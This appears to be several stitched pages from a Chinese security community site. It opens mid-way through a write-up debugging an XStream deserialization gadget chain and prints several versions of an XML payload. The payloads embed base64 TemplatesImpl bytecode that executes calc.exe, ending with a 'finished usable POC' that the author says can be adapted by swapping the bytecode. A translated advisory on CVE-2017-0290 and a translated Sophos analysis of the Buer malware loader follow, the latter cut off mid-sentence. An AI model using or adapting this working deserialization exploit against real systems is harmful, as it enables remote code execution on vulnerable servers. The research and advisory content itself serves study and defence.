NlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
<implementing__method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
#### 坑点1
首先报了一个不识别字段的错误
接下来我们排错，在this.handleUnknownField这里下端点，然后debug运行
从下图可以看到，这个方法的入参fieldDeclaringClass=sun.tracing.dtrace.DTraceProbe，fieldName=com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。这表示xstream希望从xml中还原sun.tracing.dtrace.DTraceProbe类中字段名为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的字段值。然而sun.tracing.dtrace.DTraceProbe中肯定是没有这个字段名的字段的。但为什么会发生这种事呢？我记得xml字串里面com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是作为类进行反序列化赋值的呀。那么原因一定还是在xml字串中。
最终排查xml字串，我发现了一个诡异的bug。上面箭头那里的proxy居然自己闭合了。。。这就直接导致了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl变成了sun.tracing.dtrace.DTraceProbe的一个字段进行解析了。
正确写法应当如下，删除\</proxy>中的/符号，使\<proxy>和后面的\</proxy>闭合，这样com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl就可以作为一个类进行反序列化赋值了。
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
不过你以为这就结束了？
#### 坑点2
在我信心慢慢的运行poc的时候，却发现又报错了，这次错误发生在TemplatesImpl反序列化的时候，老样子我们打个断点去看看。
错误是从下图箭头位置抛出的，因此我们跟如进入，看这个readBoolean是做什么的
跟了一步就发现，这个方法是用来读取一个Bool类型的标签的
然而我们的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中除了\<defalut>标签，就干干净净的了，从哪里能读到Bool值呢，所以就会直接抛出异常了。这里我们需要手动加一个bool标签，供TemplatesImpl反序列化得时候读取即可。</defalut>
从官方文档可以看到bool标签是如下写法
<boolean>true</boolean>
在我们得实际情况中，我是希望bool值为false得，这样我就不需要调用第二个readObject造成后续得麻烦。
最后修改得TemplatesImpl如下，在\</default>后面加了一个false的Bool标签。
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
### poc成品
最后得到可用的poc，作用为弹calc，要改的话直接修改byte-array里面的内容就行了
<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
<classToInvocationHandler class='linked-hash-map'/>
<defaultHandler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean> </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
<implementing__method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
### 结尾
你们相信这是官方的一个失误吗（狗头）。学习更多java安全、渗透知识，关注“无边界安全”。 | 社区文章 |
# 【漏洞预警】Microsoft恶意软件防护引擎远程执行代码漏洞（CVE-2017-0290）
|
##### 译文声明
本文是翻译文章，文章来源：microsoft.com
原文地址：<https://technet.microsoft.com/zh-cn/library/security/4022344>
译文仅供参考，具体内容表达以及含义原文为准。
**漏洞编号** ：CVE-2017-0290
**漏洞发现者** ：Google Project Zero的 Natalie Silvanovich和Tavis Ormandy
**漏洞等级** ： **严重**
**漏洞危害** ：成功利用此漏洞的攻击者可在LocalSystem账户下执行任意代码，并控制系统。攻击者可以安装程序; 查看，更改或删除数据;
以及创建具有完整用户权限的新帐户。
**
**
**漏洞概述**
当Microsoft恶意软件保护引擎未正确扫描攻击者精心构造的文件导致内存损坏时，触发远程执行代码漏洞。成功利用此漏洞的攻击者可在LocalSystem账户下执行任意代码，并控制系统。攻击者可以安装程序;
查看，更改或删除数据; 甚至创建具有完整用户权限的新帐户。
要利用此漏洞，必须由受影响的Microsoft恶意软件防护引擎扫描特制的文件。攻击者可以通过多种方法将特制文件放置在Microsoft恶意软件防护引擎扫描的位置。例如，攻击者可以使用网站将特制文件传送到受害者的系统，当用户查看该网站的时候，这个特制的文件就会被Microsoft恶意软件防护引擎扫描。攻击者还可以通过电子邮件或在打开文件时扫描Instant
Messenger消息中的特制文件。此外，攻击者可以利用提供托管用户内容的网站，将特制文件上传到由托管服务器上，Microsoft恶意软件保护引擎就会在托管服务器上扫描攻击者提供的特制文件。
如果受影响的反恶意软件启用了实时保护，则Microsoft恶意软件保护引擎将自动扫描文件，从而在扫描特制文件时导致利用该漏洞。如果未启用实时扫描，则攻击者将需要等待直到发生计划扫描才能利用该漏洞。
**受影响的软件**
受此漏洞影响的Microsoft恶意软件保护引擎版本：Version 1.1.13701.0
第一个解决该漏洞的Microsoft恶意软件保护引擎版本：Version 1.1.13704.0
**验证截图**
**修复建议**
检查是否安装更新，对于受影响的软件，请验证Microsoft恶意软件防护引擎版本是否为1.1.10701.0或更高版本。
如果必要的话，请安装更新。企业反恶意软件部署的管理员应确保其更新管理软件被配置为自动更新和部署，该更新会在48小时内生效。有关如何手动更新Microsoft恶意软件防护引擎和恶意软件定义的详细信息，请参阅[Microsoft知识库文章2510781](https://support.microsoft.com/kb/2510781)
**更多漏洞详细细节：**
[https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5](https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5)
**参考链接**
[](https://technet.microsoft.com/en-us/library/security/4022344)
[https://technet.microsoft.com/en-us/library/security/4022344](https://technet.microsoft.com/en-us/library/security/4022344)
[https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5](https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5) | 社区文章 |
**原文链接：<https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/>**
**译者：知道创宇404实验室翻译组**
### 前言
在对2020年9月Ryuk黑客网络攻击事件的调查中，我们发现Ryuk黑客使用了获得初始访问权限的新方法：一个名为Buer的恶意软件删除程序。10月，该网络攻击事件演变成更大规模的垃圾邮件活动，并携带Buer及其他类型的恶意软件。
Buer于2019年8月首次推出，它是一种恶意软件服务产品，可用于交付客户所需的软件包，对目标Windows
PC进行攻击，并允许恶意活动建立数据阵地。Buer曾与银行木马攻击等恶意软件有所联系，而现在，它显然已经被勒索软件运营商所接受。在许多方面，Buer可以替代[Emotet](https://news.sophos.com/en-us/2019/03/05/emotet-101-stage-4-command-and-control/)和Trickbot的Bazar装载系统（都使用类似的行为进行部署）。
### 全方位服务
Buer最初于2019年8月20日在论坛上发布标题为“ Modular Buer
Loader”的广告，开发人员将其描述为“用纯C语言编写的新型模块化bot……”，其命令和控制（C＆C）服务器代码编写为NET Core
MVC（可以在Linux服务器上运行）。只需350美元（加上第三方担保人收取的费用）就可以购买定制的装载程序并从单个IP地址访问C＆C面板，只需25美元就可更改IP地址。Buer的开发人员将每个帐户的用户限制为两个地址。
尽管示例在从dropper中解压缩后大约为40
KB，但针对特定下载用户编译的bot代码的广告大小在22到26KB之间。该恶意软件可以配置为以32位Windows可执行文件或DLL的形式。
C＆C可用于跟踪活动中成功下载的次数，并通过筛选条件，例如国家/地区、“操作系统位数”（32位或64位）、受感染机器上的处理器数量以及漫游器获得的权限级别，进而完成指令。被检测为在国家联合体内部运作的恶意软件将被关闭，这是为了避免引起地方当局的注意。
Buer命令和控制“面板”中的“文件管理器”，可在此处上传文件以进行分发,最大大小为28 MB
Buer根据操作系统、CPU、“位数”（32或64）、活动及安装所在区域、本地化设置和等线索跟踪安装。安排任务运行的特定时间或暂停任务，并将遥测发送回面板。该面板还可以用于将更新程序部署，包括（基于广告）模块部署，其中预构建的模块将作为服务并“随着时间的推移”而添加。当然，它还提供咨询和技术支持。
### 每个文档中都包含“奖品”
Buer装载程序攻击流程
Sophos快速响应小组发现了9月Ryuk袭击的根本原因：Buer样本。加载程序是通过存储在Google上的恶意文档交付的，该文档要求受害者启用脚本内容才能激活，这种行为类似于Emotet等通过恶意垃圾邮件的攻击事件，但云存储使取证分析更加困难。
我们在同一时期从Sophos的垃圾邮件攻击事件中收集了来自同一黑客的其他邮件。这些邮件使用Google
Docs形式，通过商业电子邮件分发，这进一步掩盖了恶意文档来源。
Buer分发钓鱼邮件的示例
该恶意文档的有效负载名为print_document.exe。与我们分析过的其他Buer样本一样，它是经过数字标识的二进制文件，使用的是DigiCert向波兰软件开发商NEEDCODE
SP
